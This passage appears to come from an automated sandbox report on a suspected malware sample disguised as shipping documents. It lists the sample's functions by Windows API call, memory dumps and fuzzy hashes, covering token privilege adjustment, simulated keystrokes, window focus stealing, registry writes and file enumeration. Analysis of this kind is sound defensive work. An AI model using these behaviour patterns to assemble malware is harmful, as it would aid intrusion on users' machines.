                                                • Instruction Fuzzy Hash: E711E731640205ABCF11EF74C816FAD77A8AFC5710F208829F545A7181DAF19911A7E1
                                                Function 009DFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: 66db7471f303dba159e7979cded4ad204df196f54f6cd46aba30622eed1f8622
                                                • Instruction ID: d94e174d13443fa1227b58fc0ccbb917cf9938aae533f9023dc0f1316ca30fcf
                                                • Opcode Fuzzy Hash: 66db7471f303dba159e7979cded4ad204df196f54f6cd46aba30622eed1f8622
                                                • Instruction Fuzzy Hash: 4A21EDB4A08341DFDB24DF64C444B1ABBE5BF89314F05896CE88A97762D731E849CB92
                                                Function 009C4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                Download Yara Rule
                                                APIs
                                                • __lock_file.LIBCMT ref: 009C48A6
                                                  • Part of subcall function 009C8B28: __getptd_noexit.LIBCMT ref: 009C8B28
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __getptd_noexit__lock_file
                                                • String ID:
                                                • API String ID: 2597487223-0
                                                • Opcode ID: b8c4ee4bb229121ae1df2f499f3699be311b50b403236be2ff487d1c7090aa11
                                                • Instruction ID: ee987471c18cb97045cc81253fe858f7e7ccaf9f67c16472004729a6e438c79d
                                                • Opcode Fuzzy Hash: b8c4ee4bb229121ae1df2f499f3699be311b50b403236be2ff487d1c7090aa11
                                                • Instruction Fuzzy Hash: 33F0C231E00609EBDF11AFB48C06FAF36A4AF90325F15841CF9249A1D1CB788A51DB53
                                                Function 009A4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                Download Yara Rule
                                                APIs
                                                • FreeLibrary.KERNEL32(?,?,00A652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 009A4E7E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FreeLibrary
                                                • String ID:
                                                • API String ID: 3664257935-0
                                                • Opcode ID: 7aafe31570b0c50e55fb20d0cd040931dba9d002b0687ce00c7166b2aec36d8e
                                                • Instruction ID: 6bcc23d6914d23e0a793e03b02a5070eec2e66e97f41244f8577e8b6311f18ac
                                                • Opcode Fuzzy Hash: 7aafe31570b0c50e55fb20d0cd040931dba9d002b0687ce00c7166b2aec36d8e
                                                • Instruction Fuzzy Hash: E1F03971501711CFCB349F64E494822BBF5BF963293208A3EE2D686620C7B2A890DF80
                                                Function 009C0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009C07B0
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LongNamePath_memmove
                                                • String ID:
                                                • API String ID: 2514874351-0
                                                • Opcode ID: cbc200f3804caf563c26bfc8518f215120e6ac242c90857b943cd721c83901a1
                                                • Instruction ID: 2ad9b9b0914429526500513757c8f506d3837936324be87fcd03f045ad8842c4
                                                • Opcode Fuzzy Hash: cbc200f3804caf563c26bfc8518f215120e6ac242c90857b943cd721c83901a1
                                                • Instruction Fuzzy Hash: A2E086779441285BC720D6989C06FEAB7ADDBC96A0F0441B6FC08D7204D9609C8186D4
                                                Function 009C525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wfsopen
                                                • String ID:
                                                • API String ID: 197181222-0
                                                • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                • Instruction ID: 9e2cec5a17be7997704455503a685b36be8fb347c6772394d20054537c8b62b9
                                                • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                • Instruction Fuzzy Hash: 18B0927684020C77CE012A82EC02F497B599B817A4F408020FB1C18172A673A6A49A8A
                                                Function 01316818 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNELBASE(000001F4), ref: 01316829
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Sleep
                                                • String ID:
                                                • API String ID: 3472027048-0
                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction ID: d856f146b4a1bab48f26a7b80ed3901e3bb0d51bc9d892b83695132c1c446e03
                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction Fuzzy Hash: 45E0E67494110DDFDB00DFF8D54969D7FB4EF04301F100161FD01D2281D6709D508A62

                                                Non-executed Functions

                                                Function 00A2CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00A2CB37
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A2CB95
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2CBD6
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A2CC00
                                                • SendMessageW.USER32 ref: 00A2CC29
                                                • _wcsncpy.LIBCMT ref: 00A2CC95
                                                • GetKeyState.USER32(00000011), ref: 00A2CCB6
                                                • GetKeyState.USER32(00000009), ref: 00A2CCC3
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A2CCD9
                                                • GetKeyState.USER32(00000010), ref: 00A2CCE3
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A2CD0C
                                                • SendMessageW.USER32 ref: 00A2CD33
                                                • SendMessageW.USER32(?,00001030,?,00A2B348), ref: 00A2CE37
                                                • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00A2CE4D
                                                • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00A2CE60
                                                • SetCapture.USER32(?), ref: 00A2CE69
                                                • ClientToScreen.USER32(?,?), ref: 00A2CECE
                                                • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00A2CEDB
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A2CEF5
                                                • ReleaseCapture.USER32 ref: 00A2CF00
                                                • GetCursorPos.USER32(?), ref: 00A2CF3A
                                                • ScreenToClient.USER32(?,?), ref: 00A2CF47
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00A2CFA3
                                                • SendMessageW.USER32 ref: 00A2CFD1
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00A2D00E
                                                • SendMessageW.USER32 ref: 00A2D03D
                                                • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00A2D05E
                                                • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00A2D06D
                                                • GetCursorPos.USER32(?), ref: 00A2D08D
                                                • ScreenToClient.USER32(?,?), ref: 00A2D09A
                                                • GetParent.USER32(?), ref: 00A2D0BA
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00A2D123
                                                • SendMessageW.USER32 ref: 00A2D154
                                                • ClientToScreen.USER32(?,?), ref: 00A2D1B2
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A2D1E2
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00A2D20C
                                                • SendMessageW.USER32 ref: 00A2D22F
                                                • ClientToScreen.USER32(?,?), ref: 00A2D281
                                                • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00A2D2B5
                                                  • Part of subcall function 009A25DB: GetWindowLongW.USER32(?,000000EB), ref: 009A25EC
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2D351
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                • String ID: @GUI_DRAGID$@U=u$F
                                                • API String ID: 3977979337-1007936534
                                                • Opcode ID: 644599b97615113927a73702942eecc1e3228860e6b59154754cc674f645fd96
                                                • Instruction ID: 848256bae3e74b78b07c95783dc5a6385d279b95aaa2b6fcf0112232ac677271
                                                • Opcode Fuzzy Hash: 644599b97615113927a73702942eecc1e3228860e6b59154754cc674f645fd96
                                                • Instruction Fuzzy Hash: 6542BC78604290AFD724CF6CE844EAABBF5FF49320F140939F595872A1D731D846DB92
                                                Function 009B6F9E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5018COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove$_memset
                                                • String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
                                                • API String ID: 1357608183-1798697756
                                                • Opcode ID: 59fae3d758dcb69c8c60031b13734943b2bc716950acc9eb5099e255bbc91a66
                                                • Instruction ID: d800ab5402868897031ce67cdb2cfc5cd47d2b106eab6826f5e715ca55d9be18
                                                • Opcode Fuzzy Hash: 59fae3d758dcb69c8c60031b13734943b2bc716950acc9eb5099e255bbc91a66
                                                • Instruction Fuzzy Hash: 7E93A271A04219DFDB24CF98C981BFDB7B5FF48320F24856AEA55AB281E7749D81CB40
                                                Function 009A48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(00000000,?), ref: 009A48DF
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 009DD665
                                                • IsIconic.USER32(?), ref: 009DD66E
                                                • ShowWindow.USER32(?,00000009), ref: 009DD67B
                                                • SetForegroundWindow.USER32(?), ref: 009DD685
                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 009DD69B
                                                • GetCurrentThreadId.KERNEL32 ref: 009DD6A2
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 009DD6AE
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 009DD6BF
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 009DD6C7
                                                • AttachThreadInput.USER32(00000000,?,00000001), ref: 009DD6CF
                                                • SetForegroundWindow.USER32(?), ref: 009DD6D2
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009DD6E7
                                                • keybd_event.USER32(00000012,00000000), ref: 009DD6F2
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009DD6FC
                                                • keybd_event.USER32(00000012,00000000), ref: 009DD701
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009DD70A
                                                • keybd_event.USER32(00000012,00000000), ref: 009DD70F
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009DD719
                                                • keybd_event.USER32(00000012,00000000), ref: 009DD71E
                                                • SetForegroundWindow.USER32(?), ref: 009DD721
                                                • AttachThreadInput.USER32(?,?,00000000), ref: 009DD748
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 4125248594-2988720461
                                                • Opcode ID: de15739b4b3ae967b9a9fe0b31f54592fe1c3d9be482a9853d6d4ffa3bc75b5b
                                                • Instruction ID: c98cbfed1ce54381b00e3a951c9e651906a3ee742fa09224d6328394f6afa24a
                                                • Opcode Fuzzy Hash: de15739b4b3ae967b9a9fe0b31f54592fe1c3d9be482a9853d6d4ffa3bc75b5b
                                                • Instruction Fuzzy Hash: AB317571A813187EEB306BA59C49F7F7E7CEB44B50F104076FA04EA1D1C6B49902AAA0
                                                Function 009F8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009F87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009F882B
                                                  • Part of subcall function 009F87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009F8858
                                                  • Part of subcall function 009F87E1: GetLastError.KERNEL32 ref: 009F8865
                                                • _memset.LIBCMT ref: 009F8353
                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 009F83A5
                                                • CloseHandle.KERNEL32(?), ref: 009F83B6
                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 009F83CD
                                                • GetProcessWindowStation.USER32 ref: 009F83E6
                                                • SetProcessWindowStation.USER32(00000000), ref: 009F83F0
                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 009F840A
                                                  • Part of subcall function 009F81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009F8309), ref: 009F81E0
                                                  • Part of subcall function 009F81CB: CloseHandle.KERNEL32(?,?,009F8309), ref: 009F81F2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                • String ID: $default$winsta0
                                                • API String ID: 2063423040-1027155976
                                                • Opcode ID: ff22b27df85cdc98439ed0213f19a706aff7a390922ec99fbd027b678a7bdad0
                                                • Instruction ID: 61fbd845fc7e441b586d65d09bed11fd214c81485a7c27c8989480e4c4557162
                                                • Opcode Fuzzy Hash: ff22b27df85cdc98439ed0213f19a706aff7a390922ec99fbd027b678a7bdad0
                                                • Instruction Fuzzy Hash: F981377190024DAFDF51DFA4DC45AFFBBB9FF04304F2441A9FA14A6261DB318A169B60
                                                Function 00A0C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00A0C78D
                                                • FindClose.KERNEL32(00000000), ref: 00A0C7E1
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A0C806
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A0C81D
                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00A0C844
                                                • __swprintf.LIBCMT ref: 00A0C890
                                                • __swprintf.LIBCMT ref: 00A0C8D3
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • __swprintf.LIBCMT ref: 00A0C927
                                                  • Part of subcall function 009C3698: __woutput_l.LIBCMT ref: 009C36F1
                                                • __swprintf.LIBCMT ref: 00A0C975
                                                  • Part of subcall function 009C3698: __flsbuf.LIBCMT ref: 009C3713
                                                  • Part of subcall function 009C3698: __flsbuf.LIBCMT ref: 009C372B
                                                • __swprintf.LIBCMT ref: 00A0C9C4
                                                • __swprintf.LIBCMT ref: 00A0CA13
                                                • __swprintf.LIBCMT ref: 00A0CA62
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                • API String ID: 3953360268-2428617273
                                                • Opcode ID: 7d748e0acbec1988396d1786a943a15b78f3a7fc3ab297c0d414eb0d1790f33e
                                                • Instruction ID: 447f60d49c9f673c8da8653af783126cdd72773d10361260ec60ff100e2cc983
                                                • Opcode Fuzzy Hash: 7d748e0acbec1988396d1786a943a15b78f3a7fc3ab297c0d414eb0d1790f33e
                                                • Instruction Fuzzy Hash: 7CA12DB1508304ABC710EFA4C986EAFB7ECFFD5704F40492DF59586191EA34DA09CBA2
                                                Function 00A0EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 00A0EFB6
                                                • _wcscmp.LIBCMT ref: 00A0EFCB
                                                • _wcscmp.LIBCMT ref: 00A0EFE2
                                                • GetFileAttributesW.KERNEL32(?), ref: 00A0EFF4
                                                • SetFileAttributesW.KERNEL32(?,?), ref: 00A0F00E
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00A0F026
                                                • FindClose.KERNEL32(00000000), ref: 00A0F031
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00A0F04D
                                                • _wcscmp.LIBCMT ref: 00A0F074
                                                • _wcscmp.LIBCMT ref: 00A0F08B
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A0F09D
                                                • SetCurrentDirectoryW.KERNEL32(00A58920), ref: 00A0F0BB
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00A0F0C5
                                                • FindClose.KERNEL32(00000000), ref: 00A0F0D2
                                                • FindClose.KERNEL32(00000000), ref: 00A0F0E4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                • String ID: *.*
                                                • API String ID: 1803514871-438819550
                                                • Opcode ID: bdebffe648c5db93be0386d4c53316d20acc1316b7e545e5483affb59b09d025
                                                • Instruction ID: 97541cb13acbb400d740d686f04cebf0e895ed5f1e4990daf5c1c4b067c1b2d3
                                                • Opcode Fuzzy Hash: bdebffe648c5db93be0386d4c53316d20acc1316b7e545e5483affb59b09d025
                                                • Instruction Fuzzy Hash: FB31A03250121DBEDB24EFA4EC49AEE77ACAF49360F104175F805E30D1EB74DA45CA61
                                                Function 00A20857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A20953
                                                • RegCreateKeyExW.ADVAPI32(?,?,00000000,00A2F910,00000000,?,00000000,?,?), ref: 00A209C1
                                                • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00A20A09
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00A20A92
                                                • RegCloseKey.ADVAPI32(?), ref: 00A20DB2
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A20DBF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$ConnectCreateRegistryValue
                                                • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                • API String ID: 536824911-966354055
                                                • Opcode ID: 84f37245eaa0349d1dd1ecb72a503c789f2fe0c2d21230834224b78517da0b0b
                                                • Instruction ID: 57bd50ec5a070ec494f1146f429f0ed242f569ccb37d79db7115dad8267cf034
                                                • Opcode Fuzzy Hash: 84f37245eaa0349d1dd1ecb72a503c789f2fe0c2d21230834224b78517da0b0b
                                                • Instruction Fuzzy Hash: 36024A756046119FCB14EF18D851E2AB7E5FF8A310F05896CF88A9B3A2DB34EC45CB81
                                                Function 00A0F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 00A0F113
                                                • _wcscmp.LIBCMT ref: 00A0F128
                                                • _wcscmp.LIBCMT ref: 00A0F13F
                                                  • Part of subcall function 00A04385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00A043A0
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00A0F16E
                                                • FindClose.KERNEL32(00000000), ref: 00A0F179
